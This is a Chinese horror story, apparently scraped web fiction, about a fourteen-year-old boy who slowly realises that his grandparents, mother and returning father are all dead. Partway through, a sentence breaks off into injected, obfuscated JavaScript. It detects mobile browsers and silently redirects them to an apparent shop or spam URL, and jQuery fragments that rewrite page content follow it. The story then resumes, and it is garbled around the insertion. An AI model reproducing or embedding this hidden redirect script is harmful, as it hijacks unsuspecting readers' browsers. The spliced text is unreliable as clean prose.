每月初一和十五，是程望从镇上学堂归家的日子。


    十四岁的程望背着书箱，走在回程河村的乡间小路上。夕阳在他身后，长长的影子在地面随之前行，暮色中，村庄炊烟袅袅。


    本该是温暖的场景，但他心里却莫名有些发毛。近两个月来，每次回家，他都觉得家里的情况有些说不出的怪异。


    到家了。


    推开那扇熟悉的木门，院子里静悄悄的。


    “奶奶，我回来了。”程望扬声喊道。


    堂屋的门帘一动，奶奶拄着拐杖走了出来。


    她穿着那件常穿的藏青色褂子，头发梳得一丝不苟，脸上堆起了一贯的和蔼笑意：“望儿，回来了。快进来，奶奶给你蒸了桂花糕，尝尝！”


    一切似乎都跟平时没有什么两样。


    程望放下书箱，净了手，坐到桌边。


    奶奶端来了一盘还冒着热气的桂花糕，香气扑鼻。他拿起一块咬了一口，甜糯适中，有桂花和大米的香气，是奶奶的拿手手艺。


    “怎么样啊，好不好吃？”奶奶在程望对面坐下，眼睛微眯地看着他。只是那唇角的笑容，总让他觉得有些不对劲，有点……不像是正常的人该有的笑。


    见程望愣着神，奶奶又重复了一遍，一字一句的，笑眯眯地道：“乖孙，奶奶做的桂花糕，好不好吃啊？”


    程望回过神，连忙点点头，“好吃。”可他却悄悄垂下了眼眸，不敢再去看奶奶的笑容。


    到底是哪里不对呢？


    他一边吃，一边又忍不住的偷偷打量奶奶，夕阳的余晖从窗户透进来，落在奶奶的身上。


    等等！


    程望的心猛的一跳，他清楚的看到，奶奶身后没有影子。光线斜照进堂屋，桌椅板凳都有清晰的影子拖在地上，唯独奶奶坐的地方，地面一片光亮。


    他手禁不住一抖，半块没吃完的桂花糕掉在了桌上。


    “怎么了？吃不下了吗？”奶奶关切的问，身体微微向前倾。伴随着她的动作，程望闻到了一股很淡的味道，不太好闻，像是陈旧的泥土混着某种难以形容的腐朽气味。


    以前他从未在意过，只当是老人身上的味道，但今天这气味却让他脊背直发凉。


    “没、没有，”程望强迫自己镇定下来，“只是有些噎着了。”他端起水杯猛灌了几口，不敢再去看奶奶。


    晚饭时，爷爷也从外面回来了。爷爷话不多，只是沉默的扒着饭。


    程望注意到，爷爷拿筷子的手指甲缝里，似乎嵌着一些暗红色的东西，很像是干涸的血迹。而且爷爷吃饭几乎不咀嚼，直接吞咽，从喉咙里发出呼噜呼噜的声音。


    母亲还是老样子，忙前忙后，不怎么说话。


    偶尔看向程望时，她的眼神里总是有一种复杂的情绪，似乎带着说不明的哀伤。


    这顿饭程望吃得味同嚼蜡。


    夜里他躺在自己的床上，翻来覆去睡不着。窗外的月光很亮，将树影投在窗子上，张牙舞爪，似群魔乱舞。


    “吱呀——”轻微的开门声突然响起，程望吓得浑身一僵，下意识屏住了呼吸。


    很快又传来了脚步声，放得很轻，像是怕惊动了谁，就这样停在了他的房门外。


    紧接着，他听到了用指甲刮擦门板的声音，“滋…滋…”一下又一下，听的人头皮直发麻。


    是谁？是奶奶吗？还是……


    程望紧张地按了按怦怦直跳的心，鼓起勇气压低声音问道：“谁？”


    刮擦声戛然而止，门外一片寂静。


    过了好一会儿，就在程望以为对方已经离开时，一个苍老的声音贴着门缝传了进来。


    “望儿睡了吧，早点睡，明早奶奶还给你做桂花糕。”


    她的音调拖得很长，有种说不出的诡异感。


    程望猛地用被子蒙住头，浑身直冒冷汗。奶奶以前从来不会半夜来他门口，更不会用那种声音说话。


    这个家，到底是怎么了？


    第二天，程望以温书为由，大部分时间都躲在自己的房里。


    他趁此机会，仔细观察着家里的每一个人。


    奶奶依旧忙前忙后，脸上挂着那不变的笑容，只是偶尔歇下来时，会对着空无一人的角落喃喃自语。


    爷爷一大早就扛着锄头出门了，说是去整理坡上的旱地。


    但程望偷偷跟到村口，却发现爷爷拐进了后山那片乱葬岗的方向。


    顿时，一股说不上来的恐惧涌上了程望的心头。


    中午，母亲在灶间做饭，程望终于找到机会凑了过去：“娘……”他低声唤道。


    母亲正在切菜，闻言手一顿，却没有回头：“嗯，望儿有事吗？”


    “娘，你有没有觉得，爷爷和奶奶有点儿奇怪……”程望小心的斟酌着词句。


    母亲沉默片刻，菜刀落在砧板上的声音变得急促起来，”小孩子家家的，别乱想！爷爷奶奶年纪大了，有些古怪是正常的。”


    “不是的！”程望有些急了，“奶奶她、她没有影子，我昨天亲眼看见的，还有爷爷，他指甲缝里有血，他今天还去了后山的乱葬岗！”


    “铛——”母亲手里的菜刀落在灶台上。


    她忽然转过身。


    陈望看到母亲的脸在灰暗的灶间里显得异常苍白，眼下有着浓重的青黑，“你胡说什么？！”母亲的声音突然变得尖利，“不许胡说，那是你爷爷奶奶！”


    “可是他们真的——”


    母亲打断他，一把抓住他的手腕。她的手十分冰凉，力道大的惊出奇，完全不像一个普通的农妇，“程望，我跟你说，老老实实念你的书，家里的事儿不用你管，听到没有？！”


    程望被母亲眼中一闪而过的狰狞神色吓住了，他还从未见过母亲这个样子。


    母亲似乎也意识到了自己的失态，松开手，语气缓和下来：“望儿，听娘的话，别多想，家里一切都好，等你爹回来就好了。”


    对，等爹回来。程望心里一下子燃起了希望。


    父亲程壮去了邻县做木工，已经去了两个多月，算算日子也快回来了。


    爹是家里的顶梁柱，见多识广，他一定知道是怎么回事。


    “娘，爹什么时候能回来？”程望急切的问。


    “就这几天吧。”母亲转过身继续切菜，“快了，就快了。”


    程望看着母亲的背影，心里那种发凉的感觉却越来越厉害。


    就在刚才母亲抓住他时，他分明看到母亲手腕内侧有一片


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199715|193563||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    褶皱浮肿，像是被水长期浸泡过，甚至透着一股青灰色，像是从水里捞出来的尸体。


    难道……


    一个可怕的念头，不受控制的钻进了程望的脑海，难道娘她也……


    他不敢再想下去，逃也似的离开了灶房。


    这个家已经变成了一个让人窒息的牢笼，每个熟悉的亲，都仿佛带上一张无形的恐怖面具。他唯一的希望，就是即将归来的父亲。


    在恐惧和期盼中煎熬了几天，程望终于接到了父亲托人捎回的口信，明日到家。


    得到消息的那一刻，程望立刻向学堂告了假，一路小跑回了程家村，他迫不及待想见到父亲，想将自己内心所有的害怕和疑虑都告诉他。


    推开家门，院子里一个熟悉的高大身影正在卸下肩上的行李。


    “爹！”程望鼻子一酸，快步扑了过去。


    程壮转过身，晒得黝黑的脸上带着疲惫的笑容，伸手摸了摸他的头：“望儿，今天怎么回来了？”


    “学堂放假。我、我听说您今天回来，就请了假。”程望紧紧抓着父亲的衣袖，仿佛这样才能获得一点安全感。


    父亲的手掌粗糙，温暖，带着汗水和木材的味道，这熟悉的感觉，让他几乎要落下泪来。


    “傻小子！”父亲笑了笑，开始整理带回来的工具和工钱。


    奶奶和母亲也出来了，脸上都带着笑容，忙着张罗饭菜。


    爷爷也坐在门槛上啪嗒抽着旱烟，院子里一时间充满了久违的温馨的气氛，程望悬了几天的心，终于稍稍放下了一些。


    也许真的是自己想多了，奶奶没有影子，可能是光线问题。爷爷去后山，可能是看祖坟，母亲手腕的异常，可能是生了皮肤病。


    对，一定是这样。


    程望安慰自己，可心底那股不安和恐惧始终萦绕不去。


    他帮父亲把行李拿进屋里，趁着四下无人，还是决定把憋在心里的话说出来：“爹，我跟你说件事，我总觉得奶奶，爷爷还有娘，他们好像有点不对劲……”


    父亲喝水的手顿住了，他放下碗看向程望，眼神显得有些深邃莫测：“哦？怎么不对劲了？”


    程望便把自己观察到的异常一股脑说了出来，他说的又急又快，生怕父亲不相信。


    父亲听完，沉默了很久。屋子里静的可怕，只能听到窗外偶尔传来的鸡鸣狗吠。


    就在程望的心又慢慢提起来时，父亲忽然长长的叹了口气：“望儿，”他的声音沉重又沙哑，“你……你都发现了？”


    程望的心霎时一沉：“爹，您这是什么意思？！”


    父亲抬起手，用力的抹了一把脸，然后他做了一个动作，一个让程望的全身血液为之冻结的动作。


    他缓缓解开了自己衣领的扣子，露出了脖颈。在他的脖子上，赫然有一道深紫色的勒痕，那痕迹很深，看起来就像是有什么东西曾死死勒住了他的脖子，几乎要嵌入骨肉。


    “爹，您、您这是……”程望声音颤抖，不可置信的问。


    父亲看着他，眼里有痛苦，愧疚，还有一种心死。


    “望儿。”父亲的声音深沉的像是从喉咙深处挤出来，“其实，爹已经……”


    他没能说完，但程望已经明白了。